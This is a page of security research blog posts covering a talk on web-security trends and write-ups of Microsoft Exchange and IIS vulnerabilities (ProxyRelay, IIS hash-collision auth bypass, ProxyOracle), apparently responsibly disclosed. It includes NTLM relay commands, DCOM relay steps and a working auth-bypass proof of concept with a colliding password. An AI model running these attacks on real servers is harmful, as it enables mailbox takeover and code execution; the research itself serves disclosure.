2023年8月12日 星期六

從 2013 到 2023: Web Security 十年之進化與趨勢!


TL;DR for Hackers & Researchers: this is a more conceptual talk for web developers. All are in Mandarin but you can check the slides here if interested.


好久沒有打部落格了,紀錄一下這次我在 WebConf 2023 上的演講,大概就是把 Web Security 這十年的演化趨勢分類、並給出相對應的攻擊手法當案例,雖然沒配演講看投影片應該不知道在供三小,不過有興趣還是可以點這邊獲得投影片!

由於聽眾皆為網站開發者 (涵蓋前端、後端甚至架構師),因此選用的攻擊手法力求簡單、可快速理解又有趣,不談到防禦手法也在因為短短 45 分鐘內絕對涵蓋不完,所以給自己訂下的小目標是: 只要有一項也好,如果開發者遇到同樣場景、腦中會跳出個紅色小框框警告好像有人講過,可以透過這樣的方式稍稍彌平網站開發者與資安從業人員間的差異,那我的目的就達成了!



所以 Web Security 這十年到底有什麼發展呢? 如果要我用一個字形容,最貼切應該就是「捲」這個字了! Web Security 如今已經競爭到連一個位元組都要斤斤計較,例如 Nginx 經典的 Off-by-Slash 問題,到底什麼時候該加斜線什麼時候不該,相信懂得人都會露出會心一笑。

綜觀這十年間的 Web Security 發展,我總結出了以下四個趨勢 (以下純代表個人觀點,你可以不同意 :)

1. 架構層面的攻擊逐漸成為顯學

隨著網站架構日趨複雜,以往可以在 Single Server 下解決的問題,隨著 Reverse Proxy, Load Balance, Firewall, Cache Server 甚至 CDN 的引入都開始變得複雜,原有的網頁應用、網頁伺服器如何去跟這些新角色進行搭配,這些組合的互動如何引入新的攻擊面,這都是這十年來一直有人在探討的趨勢。 這裡我給出的案例是:

  1. Abusing HTTP hop-by-hop request headers by Nathan Davison
  2. Web Cache Deception Attack by Omer Gil
  3. (遺珠之憾): HTTP Desync Attacks: Request Smuggling Reborn by James Kettle

2. 對底層邏輯重新梳理的攻擊

隨著資安意識、以及前後端框架的成熟,開發者已逐漸養成使用框架的習慣。為了因應這個趨勢,攻擊者不得不開始往框架、甚至程式語言底層挖掘,如早期的 SQL Injection,隨著 ORM 出現開始被大面積減緩,造成攻擊者開始往 ORM 實作尋找漏洞; 同理 XSS,隨著框架內建的保護已足以應付大部分的開發場景,攻擊者只能開始檢視實作玩起我繞你補的遊戲。

另一方面重新梳理一些便於開發者使用的框架邏輯也是這幾年發展的一個流派,例如在紅極一時的 Spring4Shell 漏洞表面上雖然問題出在 Data Binding 中,但認真梳理後會發現其主因還是在 Java Runtime 版本更新導致其底層內部機制改變受到影響。

在這個趨勢中我介紹了兩個針對程式語言底層的新攻擊手法:

  1. File Operation Induced Unserialization via the “phar://” Stream Wrapper by Sam Thomas
  2. Prototype pollution attack in NodeJS application by Olivier Arteau

3. 不一致性所造成的攻擊面

隨著網站功能越趨複雜,資料在網站間的生命週期也越來越長! 一個使用者請求(一筆資料)可能經過中間層 Proxy/Cache Server 預處理、商業邏輯再處理、雲端 API 又處理,最後日誌伺服器又要再解釋一遍。 隨著處理資料的來源越多、各家來源對同一筆資料又存在著不同的解釋,解釋間的不一致就可能造成安全上的問題。

這幾年尤其有趣的是針對 RFC 解釋的攻擊,RFC 只定義了規範卻沒有說明該如何實作,造成不同實作間的差異造成問題,例如案例中光是 JavaScript 與 Erlang 對同一個 JSON 解讀的不一致就造成那麼多問題了,相信這也會是未來 Web Security 的重要趨勢之一!

  1. A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! by Orange Tsai
  2. Remote Code Execution in CouchDB by Max Justicz

4. 跨應用組合所導致的新攻擊

在這個 Web 包山包海開發者什麼都要會的時代,傳統認為寫網站就不須接觸底層結果被 WebAssembly 打臉; 寫網站不須懂密碼學結果出現 Web 3.0,資訊安全從來都不只是一個單一學科,如果只熟悉自己的領域、很容易就會陷入思考誤區甚至被降維打擊! 這十年間 Web Security 也開始往跨應用的攻擊影響,無論是跨協議的組合、跨規範的誤用、跨領域的結合,甚至把不同的 Convention 組合在一起,例如 RFC 的命名規範剛好跟 HTTP 函數庫約定成俗的變數撞名所造成的資安漏洞,近幾年不時會冒出這種打破三觀的例子,讓人不得不佩服到底想像力多豐富才能把這八竿子打不著的東西組合再一起!

  1. (Ticket Trick) How I hacked hundreds of companies through their helpdesk by Inti De Ceukelaire
  2. HTTPoxy Attack
  3. AvOracle: New Attack Vector Against Anti Virus by Ryo Ichikawa and Ryota Shiga
  4. (遺珠之憾) Timeless Timing Attacks by Tom Van Goethem & Mathy Vanhoef

5. 當前端安全不只在前端…

本來整理四個打算點到為止就好,但總是很難把前端安全給移出發展趨勢外,反正四天王總會有五個人對吧! 就把前端安全當成大魔王吧。

伴隨 Web 2.0 / 3.0 的興起,網站開始以使用者為中心、儲存在使用者端的敏感資料也越來越多,這十年間從瀏覽器的興衰、新舊特性的加入到主流框架的切換,前端安全的發展其實完全可以自成一派、發展出許多酷炫技術,甚至倒還有那麼點鑽牛角尖的程度,不過由於前端安全很大一部分還是得基於使用者互動,往往相較之下比較不被那麼受到重視,但隨著 Headless Browser 以及 Electron-Based 桌面應用的發展這種偏見慢慢開始被打破!

首先是 Chromium 的廣泛應用,越來越多開發者會在伺服器端使用 Headless Browser 直接將網頁渲染成 PDF 或圖片,加上網頁爬蟲的盛行與測試的自動化,以往許多需要使用者互動的 XSS 現在都可以直接在伺服器端(或自動地)觸發,這些都是讓網頁前端安全與後端安全的邊界愈加模糊的一點。

另一個分水嶺則是 Electron-Based 桌面應用的流行 (當然手機 App 中的 Webview 同理),當所有受歡迎的桌面應用例如 Slack, Discord, Trello, 甚至連寫程式用的 Visual Studio Code 都成為基於瀏覽器的桌面應用,以往被視為雞肋被認為只能竊取 Cookie 的 XSS 現在搖身一變,成為可以直接跳小算盤的高風險漏洞! 這裡可以看看 Microsoft Teams 的例子,如何透過一個 AngularJS 的特性在桌面應用中創造出 XSS、再透過 Prototype Pollution 完成整個攻擊鏈,透過一個訊息就可以完整控制受害者!

  1. How I Hacked Microsoft Teams and got $150,000 in Pwn2Own by Masato Kinugawa

總是很懶得寫結語,總之、我相信 Web Security 還是會有下一個十年啦,攻擊也只會更精緻、更刁鑽,至於要持續學習? 躺平? 還是直接交給專業的,就交由各位自己決定囉!

2022年10月19日 星期三

A New Attack Surface on MS Exchange Part 4 - ProxyRelay!


This is a cross-post blog from DEVCORE. You can check the series on:


Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline.

Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However, this patch did not enable by default. Microsoft didn’t release the patch-activating methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process.



Idea

Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now?

Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks.




Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :)


Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years.

In the architecture of Exchange CAS, Backend authorizes an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default.

With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience. Can we relay the NTLM authentication among Exchange Servers?

There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restriction. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploitable!


P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments.



Vulnerabilities

Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far:

The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server.

In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server.


Round 1 - Relay to Exchange FrontEnd

For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02's Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview:

  1. Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications.
  2. Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER.
  3. Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02.
  4. Complete the NTLM handshakes to get full access to the EWS endpoint.
# Terminal 1
$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx

# Terminal 2
$ python printerbug.py EX01 ATTACKER

Theoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox.

Patching FrontEnd

Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logons are not Machine Account.


Round 2 - Relay to Exchange BackEnd

Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that hash the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend.

2-1 Attacking BackEnd /EWS

Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444.

2-2 Attacking BackEnd /RPC

The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details.

Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps:

  1. Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O.
  2. Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes.
  3. Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers.
  4. Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH…

2-3 Attacking BackEnd /PowerShell

The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too.

Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers. ;)

2-4 Patching BackEnd

Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS.


Round 3 - Relay to Windows DCOM

This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him!

The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now!

Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following:

  1. Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint Mapper (port 135) of EX02 to get the Interface of MMC20.Application.
  2. Coerce EX01 again, and relay the NTLM to the dynamic port allocated by the EPMapper, and call ExecuteShellCommand(...) under iMMC->Document->ActiveView.
  3. Run arbitrary commands for fun and profit!

Writing the whole exploit is fun, just like mixing the dcomexec.py and ntlmrelayx.py together. It’s recommended to write your own exploit code by hand for those who want to understand the DCOM mechanism more!

Patching DCOM

Microsoft assigned CVE-2021-26414 and patch this DCOM-relay in June 2021. However, due to compatibility, the hardening on the server-side is disabled by default. Server Admin has to manually activate the patch by creating the following registry key. If Server Admin didn’t read the documentation carefully, his Exchange Server is probably still vulnerable after the June patch.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel


As for when will the protection be enforced on server side? According to the FAQ under the CVE page, Microsoft has addressed a three-phase rollout to fully mitigate this issue. Now, it’s on phase one, and the patch won’t be activated by default until June 14, 2022. So, at the time of this writing, this RCE is still exploitable on the latest version of Exchange Server!


P.S. Microsoft hash announce the second phase and enabled the hardening on the server-side by default on June 14, 2022. Exchange Server that installed the latest Windows patch should be safe now


Round 4 - Relay to Other Exchange Services…

Services that use NTLM as their authentication method on Exchange Server might be vulnerable, too. At the time of this writing, we have already found and reported one to MSRC. We believe there should be more, and this is a good target for those who want to discover vulnerabilities on Exchange Server!



Closing

Here, this series has finally come to an end. Over the past two years, many ups and downs made this journey unusual. From the earliest bug collision with the bad actor, ITW panic, to the Pwn2Own hacking competition, and our talks got acceptance at top-level hacker conferences, we have a clear conscience that we didn’t do anything wrong. However, without understanding the context, there were lots of incorrect speculations and inaccurate media reports toward our company and me; there were even low blows to us… that sucks.

Although there were also happy moments, such as winning our first Master-of-Pwn champion at the top-hacking competition Pwn2Own and got the Best Server-Side bug of Pwnie Awards, the gossip and troll really harassed and depressed me a lot…

Congratulate that I can finally close this research and start my new hacking. I am nothing but a security nerd who would rather spend more time on hacks, and please don’t blame me if my sentences are sometimes short and unclear; it’s not easy to express things in an unfamiliar language. It took me about 4x~5x times to arrange a presentation or article in a non-native language; lots of words were lost during refining.

Hope that one day, there will be no language barrier. In a bar, with beers, we can talk about hacks, the culture, and hacking all night!



Timeline

  • Jun 02, 2021 - We reported the vulnerability to Microsoft through the MSRC portal.
  • Jun 03, 2021 - MSRC opened the case. (No. 65594)
  • Jun 03, 2021 - We attached a 90-days Vulnerability Disclosure Policy to MSRC. The deadline is Sep 01, 2021.
  • Jun 11, 2021 - MSRC replied that they are aiming to complete it before September.
  • Jul 22, 2021 - MSRC said the case doesn’t look like it will be fully resolved by September.
  • Jul 25, 2021 - We said we could extend the deadline and let us know the new estimated date.
  • Aug 25, 2021 - We asked for the estimated date again.
  • Sep 01, 2021 - MSRC said this case has been expanding into a design change and the intended release date is December 2021.
  • Sep 08, 2021 - We asked is it possible to shorten the time frame because we would like to disclose this at conferences.
  • Sep 17, 2021 - MSRC replied there are not quick and simple fixes but design level changes, they can’t get the changes in October.
  • Oct 25, 2021 - We decided not to disclose this at conferences and gave the team a fair time for fixing and testing. We hoped this bug could be fixed as scheduled in December 2021.
  • Dec 21, 2021 - We asked for updates on this case.
  • Dec 22, 2021 - MSRC replied they aimed to include this patch in a CU (Cumulative Update) instead of an SU (Security Update) due to the level of changes. The next CU release date will be in March 2022.
  • Apr 04, 2022 - We asked that we don’t see the CU in March. When is the new release date?
  • Apr 13, 2022 - MSRC replied the CU is delayed, and the current release date is on April 20, 2022.
  • Apr 20, 2022 - Microsoft released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23.
  • Apr 21, 2022 - We found our exploit still works fine on the latest version of Exchange Server and asked is this bug really fixed?
  • Apr 27, 2022 - MSRC replied the CU contain the code change, but it needs to be activated manually or with a script. There are still some testing concerns but the manual activation process will be public on May 10, 2022.
  • May 11, 2022 - MSRC said the documentation and the script are mapped for the Patching Tuesday of June 2022 (Jun 14, 2022).
  • Jun 10, 2022 - MSRC said there are still having some issues on testing and they are looking to release this in July 2022.
  • Jul 04, 2022 - We asked if it will release in this month’s Patching Tuesday.
  • Aug 10, 2022 - Don’t see anything, asked again.
  • Aug 18, 2022 - Microsoft released the CVE and the patch activation documentation!

2022年8月18日 星期四

Let's Dance in the Cache - Destabilizing Hash Table on Microsoft IIS!


Hi, this is my fifth time speaking at Black Hat USA and DEFCON. You can get the slide copy and video there:


As the most fundamental Data Structure in Computer Science, Hash Table is extensively used in Computer Infrastructures, such as Operating Systems, Programming Languages, Databases, and Web Servers. Also, because of its importance, Microsoft has designed its own Hash Table algorithm from a very early stage, and applied it heavily to its web server, IIS.

Since IIS does not release its source code, I guess the algorithm implementation details should be an unexplored area to discover bugs. Therefore, this research mainly focuses on the Hash Table implementation and its usage. We also look into the Cache mechanism because most of the Hash Table usages in IIS are Cache-Related!

Because most of the details are in the slides, please forgive me this time for this brief write-ups instead of a full blog.



P.S. All vulnerabilities addressed in this blog have been reported responsibly to Microsoft and patched in July 2022.

1. IIS Hash-Flooding DoS

It’s hard to imagine that we can still see such a classic Algorithmic Complexity Attack as Hash-Flooding Attack in IIS in 2022. Although Microsoft has configured a thread deleting outdated records every 30 seconds to mitigate the attack, we still found a key-splitting bug in the implementation to amplify our power by over 10 times to defeat the guardian by zero hashes. Through this bug we can make a default installed IIS Server unresponsive with about 30 connections per second!

Because this bug also qualifies for the Windows Insider Preview Bounty Program, we also rewarded $30,000 for this DoS. This is the maximum bounty for the category of Denial-of-Service!

You can check the full demo video here:



2. IIS Cache Poisoning Attack

Compared with other marvelous Cache Poisoning research, this one is relatively plain. The bug is found in the component of Output Caching, the module responsible for caching dynamic responses to reduce expensive database or filesystem access on web stacks.

Output Caching uses a bad Query String parser that only takes the first occurrence as the Cache-Key when Query String keys are duplicated. This behavior is actually not a problem independently. However, it’s a trouble in the view of the whole architecture with the backend, ASP.NET. The backend concatenates the value of all repeated keys together, which leads to an inconsistency between parser behaviors. Therefore, a classic HTTP Parameter Pollution can make IIS cache the wrong result!


3. IIS Authentication Bypass

This may be the most interesting bug of this talk. LKRHash is a Hash Table algorithm designed and patented by Microsoft in 1997. It’s based on Linear Hashing and created by Paul Larson of Microsoft Research, Murali Krishnan and George Reilly of the IIS team.

LKRHash aims to build a scalable and high-concurrent Hash Table under the multithreading and multi-core environment. The creators put a lot of effort into making this implementation portable, flexible and customizable to adapt to multiple products across Microsoft. An application can define its own Table-Related functions, such as the Hash Function, the Key Extracting Function, or the Key Comparing Function. This kind of extensibility creates a bunch of opportunities for vulnerability mining. So, under this context, we cares more about the relationship between the records, the keys, and the functions.

CLKRHashTable::CLKRHashTable(
    this,
    "TOKEN_CACHE",   // An identifier for debugging
    pfnExtractKey,   // Extract key from record
    pfnCalcKeyHash,  // Calculate hash signature of key
    pfnEqualKeys,    // Compare two keys
    pfnAddRefRecord, // AddRef in FindKey, etc
    4.0,             // Bound on the average chain length.
    1,               // Initial size of hash table.
    0,               // Number of subordinate hash tables.
    0                // Allow multiple identical keys?
);

Because “Logon” is an expensive operation, to improve the performance, IIS cached all tokens for password-based authentications, such as Basic Authentication by default, and the bug we found this time is located in the logic of the key-comparing function when a collision occurs.

If a login attempt whose hash hits a key that is already in the cache, LKRHash enters the application-specific pfnEqualKeys function to determine whether the key is correct or not. The application-specific logic of TokenCacheModule is as follows:


As the logic compares several parts to make the decision, it’s weird why IIS compares the username twice.

I guess the original intent was to compare the password. However, the developer copy-and-pasted the code but forgot to replace the variable name. That leads to that an attacker can reuse another user’s logged-in token with random passwords.

To build the smallest PoC to test your own, you can create a testing account and configure the Basic Authentication on your IIS.

# add a test account, please ensure to remove that after testing
> net user orange test-for-CVE-2022-30209-auth-bypass /add

# the source of login is not important, this can be done outside IIS.
> curl -I -su 'orange:test-for-CVE-2022-30209-auth-bypass' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Under the attacker’s terminal:

# script for sanity check
> type test.py
def HashString(password):
    j = 0    
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

As you can see, the attacker can log into the user orange with another password whose hash is the same as the original one.

However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!

To make this bug more practical, we proposed several ways to win the lottery, such as:

  1. Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and increase the success rate by 13% at least!
  2. Regain the initiative - By understanding the root cause, we brainstorm several use cases that can cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns.

We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox's mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!




Timeline

  • Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.
  • Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.
  • Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.
  • Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.

2021年8月18日 星期三

A New Attack Surface on MS Exchange Part 3 - ProxyShell!

Author: Orange Tsai(@orange_8361) from DEVCORE
P.S. This is a cross-post blog from Zero Day Initiative (ZDI)


This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021!  Please visit the following link to read that :)


If you are interesting in more Exchange Server attacks, please check the following articles:


With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:

2021年8月6日 星期五

A New Attack Surface on MS Exchange Part 2 - ProxyOracle!

Author: Orange Tsai(@orange_8361)
P.S. This is a cross-post blog from DEVCORE


Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:


This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:


Where is ProxyOracle

So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of X-CommonAccessToken . The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.

We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the ProxyModule and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.



The FBA Mechanism

HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of X-CommonAccessToken, and forward it to the Backend

HttpProxy\FbaModule.cs

protected override void OnBeginRequestInternal(HttpApplication httpApplication) {

    httpApplication.Context.Items["AuthType"] = "FBA";
    if (!this.HandleFbaAuthFormPost(httpApplication)) {
        try {
            this.ParseCadataCookies(httpApplication);
        } catch (MissingSslCertificateException) {
            NameValueCollection nameValueCollection = new NameValueCollection();
            nameValueCollection.Add("CafeError", ErrorFE.FEErrorCodes.SSLCertificateProblem.ToString());
            throw new HttpException(302, AspNetHelper.GetCafeErrorPageRedirectUrl(httpApplication.Context, nameValueCollection));
        }
    }
    base.OnBeginRequestInternal(httpApplication);
}


All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:

  • cadata - The encrypted username and password
  • cadataTTL - The Time-To-Live timestamp
  • cadataKey - The KEY for encryption
  • cadataIV - The IV for encryption
  • cadataSig - The signature to prevent tampering



The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!

Here is a Pseudo Code for the encryption logic:

 @key = GetServerSSLCert().GetPrivateKey()
 cadataSig = RSA(@key).Encrypt("Fba Rocks!")
 cadataIV  = RSA(@key).Encrypt(GetRandomBytes(16))
 cadataKey = RSA(@key).Encrypt(GetRandomBytes(16))

 @timestamp = GetCurrentTimestamp()
 cadataTTL  = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp)

 @blob  = "Basic " + ToBase64String(UserName + ":" + Password)
 cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob)


The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!



CVE-2021-31196 - The Padding Oracle

When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is 0, which means None:

Location: /OWA/logon.aspx?url=…&reason=0


In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is 2, which represents InvalidCredntials:

Location: /OWA/logon.aspx?url=…&reason=2


The diagram looks like:


With the difference, we now have an Oracle to identify whether the decryption process is successful or not.


HttpProxy\FbaModule.cs

private void ParseCadataCookies(HttpApplication httpApplication)
{
    HttpContext context = httpApplication.Context;
    HttpRequest request = context.Request;
    HttpResponse response = context.Response;
    
    string text = request.Cookies["cadata"].Value;    
    string text2 = request.Cookies["cadataKey"].Value;    
    string text3 = request.Cookies["cadataIV"].Value;    
    string text4 = request.Cookies["cadataSig"].Value;    
    string text5 = request.Cookies["cadataTTL"].Value;
    
    // ...
    RSACryptoServiceProvider rsacryptoServiceProvider = (x509Certificate.PrivateKey as RSACryptoServiceProvider);
    
    byte[] array = null;
    byte[] array2 = null;
    byte[] rgb2 = Convert.FromBase64String(text2);
    byte[] rgb3 = Convert.FromBase64String(text3);
    array = rsacryptoServiceProvider.Decrypt(rgb2, true);
    array2 = rsacryptoServiceProvider.Decrypt(rgb3, true);
    
    // ...
    
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider()) {
        aesCryptoServiceProvider.Key = array;
        aesCryptoServiceProvider.IV = array2;
        
        using (ICryptoTransform cryptoTransform2 = aesCryptoServiceProvider.CreateDecryptor()) {
            byte[] bytes2 = null;
            try {
                byte[] array5 = Convert.FromBase64String(text);
                bytes2 = cryptoTransform2.TransformFinalBlock(array5, 0, array5.Length);
            } catch (CryptographicException ex8) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth", ex8);
                }
                httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");
                return;
            } catch (FormatException ex9) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
